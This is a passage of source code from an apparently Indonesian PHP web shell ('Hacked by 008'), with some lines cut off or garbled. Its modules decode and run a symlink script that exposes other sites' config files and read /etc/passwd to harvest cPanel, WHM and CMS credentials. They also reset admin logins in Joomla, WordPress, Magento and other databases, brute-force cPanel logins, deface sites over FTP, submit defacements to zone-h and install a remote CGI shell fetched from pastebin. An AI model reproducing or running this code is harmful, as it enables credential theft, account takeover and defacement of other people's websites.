2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1
cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2N
saWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQ
pzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlc
y9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zh
ci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHA
nLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy
8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nL
Whvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3Mu
Jy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3Q
udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW
5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rK
CcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3
LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmh
vc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZX
NzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpd
GVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcp
Ow0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHV
kZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluay
gnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc
2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycu
JHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTs
NCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucG
hwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0Z
XNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4
dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25
la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy
8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictT
G9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2Nz
L3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmh
vc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaX
Rlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
$file = "idx_config/vhost.cin";
$handle = fopen($file ,"w+");
fwrite($handle ,base64_decode($vhost));
fclose($handle);
chmod($file, 0755);
if(exe("cd idx_config && ./vhost.cin")) {
echo "<center><a href='$link_config/idx_config'><font
color=yellow>Done</font></a></center>";
} else {
echo "<center><a href='$link_config/idx_config/vhost.cin'><font
}
} else {
$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't
read /etc/passwd</font></pre>");
while($passwd = fgets($etc)) {
if($passwd == "" || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_idx) {
$user_config_dir = "/home/$user_idx/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_idx/.my.cnf" => "cpanel",
"/home/$user_idx/.accesshash" => "WHM-
accesshash",
"$user_config_dir/po-content/config.php"
=> "Popoji",
"$user_config_dir/vdo_config.php" =>
"Voodoo",
"$user_config_dir/bw-configs/config.ini"
=> "BosWeb",
"$user_config_dir/config/koneksi.php" =>
"Lokomedia",
"$user_config_dir/lokomedia/config/koneks
"$user_config_dir/clientarea/configuratio
n.php" => "WHMCS",
"$user_config_dir/whm/configuration.php"
=> "WHMCS",
"$user_config_dir/whmcs/configuration.php
" => "WHMCS",
"$user_config_dir/forum/config.php" =>
"phpBB",
"$user_config_dir/sites/default/settings.
php" => "Drupal",
"$user_config_dir/config/settings.inc.php
" => "PrestaShop",
"$user_config_dir/app/etc/local.xml" =>
"Magento",
"$user_config_dir/joomla/configuration.ph
p" => "Joomla",
"$user_config_dir/configuration.php" =>
"Joomla",
"$user_config_dir/wp/wp-config.php" =>
"WordPress",
"$user_config_dir/wordpress/wp-
"$user_config_dir/wp-config.php" =>
"WordPress",
"$user_config_dir/admin/config.php" =>
"OpenCart",
"$user_config_dir/slconfig.php" =>
"Sitelok",
"$user_config_dir/application/config/data
base.php" => "Ellislab");
foreach($grab_config as $config =>
$nama_config) {
$ambil_config =
file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("idx_config/
$user_idx-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
}
}
echo "<center><a href='?dir=$dir/idx_config'><font
}
} elseif($_GET['do'] == 'jumping') {
$i = 0;
echo "<div class='margin: 5px auto;'>";
if(preg_match("/hsphere/", $dir)) {
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace(array("http://","www."), "",
strtolower($url));
$etc = "/etc/passwd";
$f = fopen($etc,"r");
while($gets = fgets($f)) {
$pecah = explode(":", $gets);
$user = $pecah[0];
$dir_user = "/hsphere/local/home/$user";
if(is_dir($dir_user) === true) {
$url_user = $dir_user."/".$url;
if(is_readable($url_user)) {
$i++;
$jrw = "[<font color=yellow>R</font>] <a
href='?dir=$url_user'><font color=gold>$url_user</font></a>";
if(is_writable($url_user)) {
$jrw = "[<font
color=yellow>RW</font>] <a href='?dir=$url_user'><font
color=gold>$url_user</font></a>";
}
echo $jrw."<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kamar di ".$ip;
}
echo "</pre>";
} else {
echo '<center>
List Domains: <br>
<textarea name="url" style="width: 500px; height:
250px;">';
$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
while($getss = fgets($fp)) {
echo $getss;
}
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump"
style="width: 500px; height: 25px;">
</form></center>';
}
} elseif(preg_match("/vhosts|vhost/", $dir)) {
preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
$urls = explode("\r\n", $_POST['url']);
if(isset($_POST['jump'])) {
echo "<pre>";
foreach($urls as $url) {
$url = str_replace("www.", "", $url);
$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
if(is_dir($web_vh) === true) {
if(is_readable($web_vh)) {
$i++;
href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
if(is_writable($web_vh)) {
$jrw = "[<font color=yellow>RW</font>] <a
href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
}
echo $jrw."<br>";
}
}
}
if($i == 0) {
} else {
}
echo "</pre>";
} else {
echo '<center>
List Domains: <br>
<textarea name="url" style="width: 500px; height:
250px;">';
bing("ip:$ip");
echo '</textarea><br>
<input type="submit" value="Jumping" name="jump"
style="width: 500px; height: 25px;">
</form></center>';
}
} else {
echo "<pre>";
$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read
/etc/passwd</font>");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/
$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=yellow>RW</font>] <a
href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
}
echo $jrw;
if(function_exists('posix_getpwuid')) {
$domain_jump =
file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>gabisa
ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/
(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url =
posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url =
$user_jumping_url['name'];
if($user_jumping_url ==
$user_idx_jump) {
echo " => ( <u>$dj</u> )
<br>";
break;
}
}
}
} else {
echo "<br>";
}
}
}
}
}
if($i == 0) {
} else {
}
echo "</pre>";
}
echo "</div>";
} elseif($_GET['do'] == 'auto_edit_user') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6)
{
echo "username atau password harus lebih dari 6 karakter";
} else {
$user_baru = $_POST['user_baru'];
$pass_baru = md5($_POST['pass_baru']);
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
ASC");
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
username='$user_baru',password='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, gabisa
ambil nama domain nya</font><br>";
} else {
echo "Sitename => $site<br>";
}
} else {
echo "Status => <font color=yellow>sukses edit
user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix =
'","'");
$option = $dbprefix."options";
ASC");
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY
option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
$url_target = "Login => <font color=red>error,
gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target/wp-
login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
}
user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
echo "CMS => Wordpress<br>";
echo $url_target;
} else {
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><!
[CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><!
[CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><!
[CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><!
[CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><!
[CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$q = mysql_query("SELECT * FROM $prefix ORDER BY
user_id ASC");
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE
path='web/secure/base_url'");
$target = $result2[value];
if($target == '') {
} else {
$url_target = "Login => <a
href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
}
username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "CMS => Magento<br>";
echo $url_target;
} else {
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|
DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
$dbname = ambilkata($config,"'DB_DATABASE', '","'");
$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
$prefix = $dbprefix."user";
$q = mysql_query("SELECT * FROM $prefix ORDER BY
user_id ASC");
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER', '","'");
if($target == '') {
} else {
$url_target = "Login => <a href='$target'
target='_blank'><u>$target</u></a><br>";
}
username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "CMS => OpenCart<br>";
echo $url_target;
} else {
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan
injection/",$config)) {
$dbhost = ambilkata($config,'server = "','"');
$dbuser = ambilkata($config,'username = "','"');
$dbpass = ambilkata($config,'password = "','"');
$dbname = ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$q = mysql_query("SELECT * FROM $option ORDER BY
id_identitas ASC");
$target = $result[alamat_website];
if($target == '') {
$target2 = $result[url];
if($target2 == '') {
$url_target2 = "Login => <font
color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$cek_login3 =
file_get_contents("$target2/adminweb/");
$cek_login4 =
file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|
Administrator/", $cek_login3)) {
$url_target2 = "Login => <a
href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|
Lokomedia/", $cek_login4)) {
href='$target2/lokomedia/adminweb'
target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
} else {
href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin
login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login =
file_get_contents("$target/adminweb/");
$cek_login2 =
file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/",
$cek_login)) {
href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|
Lokomedia/", $cek_login2)) {
href='$target/lokomedia/adminweb'
target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
} else {
$url_target = "Login => <a href='$target'
target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya
dimana :p</font> ]<br>";
}
}
username='$user_baru',password='$pass_baru' WHERE level='admin'");
echo "CMS => Lokomedia<br>";
if(preg_match('/error, gabisa ambil nama domain
nya/', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
} else {
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h1>Auto Edit User Config</h1>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set User & Pass: <br>
<input type='text' name='user_baru' value='008'
placeholder='user_baru'><br>
<input type='text' name='pass_baru' value='008'
placeholder='pass_baru'><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u>
( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
} elseif($_GET['do'] == 'cpanel') {
if($_POST['crack']) {
$usercp = explode("\r\n", $_POST['user_cp']);
$passcp = explode("\r\n", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
} else {
$i++;
$domain_cp =
if($domain_cp == '') {
$dom = "<font
color=red>gabisa ambil nama domain nya</font>";
} else {
preg_match_all("#/var/named/
(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as
$dj) {
$user_cp_url =
posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url =
$user_cp_url['name'];
if($user_cp_url == $ucp)
{
$dom = "<a
href='http://$dj/' target='_blank'><font color=yellow>$dj</font></a>";
break;
}
}
}
} else {
$dom = "<font color=red>function is
Disable by system</font>";
}
echo "username (<font
color=yellow>$ucp</font>) password (<font color=lime>$pcp</font>) domain
($dom)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses nyolong ".$i." Cpanel by <font
color=yellow>008.</font>";
}
} else {
echo "<center>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp\n";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD',
'","'")."\n";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."\n";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><!
[CDATA[","]]></password>")."\n";
injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."\n";
DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD',
'","'")."\n";
} elseif(preg_match("/^[client]$/", $ambil)) {
preg_match("/password=(.*?)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."\n";
} else {
$pass .= $pass1[1]."\n";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password =
'","'")."\n";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
<input type='submit' name='crack' style='width: 450px;' value='Crack'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password )
maka akan work jika dijalankan di dalam folder <u>config</u> ( ex:
/home/user/public_html/nama_folder_config )</span><br></center>";
}
} elseif($_GET['do'] == 'cpftp_auto') {
if($_POST['crack']) {
$usercp = explode("\r\n", $_POST['user_cp']);
$passcp = explode("\r\n", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
//
} else {
echo "[+] username (<font
color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
$ftp_conn = ftp_connect($ip);
$ftp_login = ftp_login($ftp_conn, $ucp,
$pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=red>Login
Gagal</font><br><br>";
} else {
echo "[+] <font color=lime>Login
Sukses</font><br>";
$fi =
htmlspecialchars($_POST['file_deface']);
$deface = ftp_put($ftp_conn,
"public_html/$fi", $_POST['deface'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font
color=lime>Deface Sukses</font><br>";
$domain_cp =
if($domain_cp == '') {
echo "[+] <font
color=red>gabisa ambil nama domain nya</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url
= posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url
= $user_cp_url['name'];
if($user_cp_url == $ucp) {
echo
"[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font
color=red>gabisa ambil nama domain nya</font><br><br>";
}
} else {
echo "[-] <font
color=red>Deface Gagal</font><br><br>";
}
}
//echo "username (<font
color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses deface ".$i." Cpanel by <font
color=yellow>008.</font>";
}
} else {
echo "<center>
Filename: <br>
<input type='text' name='file_deface' placeholder='index.php'
value='index.php' style='width: 450px;'><br>
Deface Page: <br>
<input type='text' name='deface' placeholder='http://www.web-yang-udah-
di-deface.com/filemu.php' style='width: 450px;'><br>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp\n";
}
}
}
}
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD',
'","'")."\n";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."\n";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><!
[CDATA[","]]></password>")."\n";
injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."\n";
DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD',
'","'")."\n";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."\n";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password =
'","'")."\n";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password )
maka akan work jika dijalankan di dalam folder <u>config</u> ( ex:
/home/user/public_html/nama_folder_config )</span><br></center>";
}
} elseif($_GET['do'] == 'smtp') {
echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder
<u>config</u> ( ex: /home/user/public_html/nama_folder_config )
</span></center><br>";
function scj($dir) {
$ambil = str_replace("$", "", $ambil);
if(preg_match("/JConfig|joomla/", $ambil)) {
$smtp_host = ambilkata($ambil,"smtphost = '","'");
$smtp_auth = ambilkata($ambil,"smtpauth = '","'");
$smtp_user = ambilkata($ambil,"smtpuser = '","'");
$smtp_pass = ambilkata($ambil,"smtppass = '","'");
$smtp_port = ambilkata($ambil,"smtpport = '","'");
$smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
echo "SMTP port: <font color=lime>$smtp_port</font><br>";
echo "SMTP user: <font color=lime>$smtp_user</font><br>";
echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
echo "SMTP secure: <font
color=lime>$smtp_secure</font><br><br>";
}
}
}
$smpt_hunter = scj($dir);
echo $smpt_hunter;
} elseif($_GET['do'] == 'auto_wp') {
if($_POST['hajar']) {
$title = htmlspecialchars($_POST['new_title']);
$pn_title = str_replace(" ", "-", $title);
if($_POST['cek_edit'] == "Y") {
$script = $_POST['edit_content'];
} else {
$script = $title;
}
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."posts";
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id
ASC");
post_title='$title',post_content='$script',post_name='$pn_title',post_status='publi
sh',comment_status='open',ping_status='open',post_type='post',comment_count='1'
WHERE id='$id'");
$update .= mysql_query("UPDATE $option SET
option_value='$title' WHERE option_name='blogname' OR
option_name='blogdescription'");
echo "<div style='margin: 5px auto;'>";
if($target == '') {
echo "URL: <font color=red>error, gabisa ambil nama
domain nya</font> -> ";
} else {
echo "URL: <a href='$target/?p=$id'
target='_blank'>$target/?p=$id</a> -> ";
}
echo "<font color=red>MySQL Error:
".mysql_error()."</font><br>";
} else {
echo "<font color=lime>sukses di ganti.</font><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<center>
<h1>Auto Edit Title+Content WordPress</h1>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set Title: <br>
<input type='text' name='new_title' value='Hacked by 008'
placeholder='New Title'><br><br>
Edit Content?: <input type='radio' name='cek_edit' value='Y'
checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple
aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
<textarea name='edit_content' placeholder='contoh script:
http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
<input type='submit' name='hajar' value='Hajar!' style='width:
450px;'><br>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u>
( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
} elseif($_GET['do'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("\r\n", $_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: <a href='http://www.zone-
h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-
h.org/archive/notifier=$nick/published=0</a><br>";
echo "Defacer Archive: <a href='http://www.zone-
h.org/archive/notifier=$nick' target='_blank'>http://www.zone-
h.org/archive/notifier=$nick</a><br><br>";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> <font color=lime>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
} else {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='nick' size='50' value='008'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;'
name='url'></textarea><br>
<input type='submit' name='submit' value='Submit' style='width:
450px;'>
</form>";
}
echo "</center>";
} elseif($_GET['do'] == 'cgi') {
$cgi_dir = mkdir('idx_cgi', 0755);
$file_cgi = "idx_cgi/cgi.izo";
$isi_htcgi = "AddHandler cgi-script .izo";
$htcgi = fopen(".htaccess", "w");
fwrite($htcgi, $isi_htcgi);
fclose($htcgi);
$cgi_script = getsource("http://pastebin.com/raw/Lj46KxFT");
$cgi = fopen($file_cgi, "w");
fwrite($cgi, $cgi_script);
fclose($cgi);
chmod($file_cgi, 0755);
echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%'
frameborder='0' scrolling='no'></iframe>";
} elseif($_GET['do'] == 'fake_root') {
ob_start();
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("\r\n", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = getsource("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file'
target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
}
}
} else {
echo "<center><form method='post'>
Filename: <br><input type='text' name='file' value='deface.html'
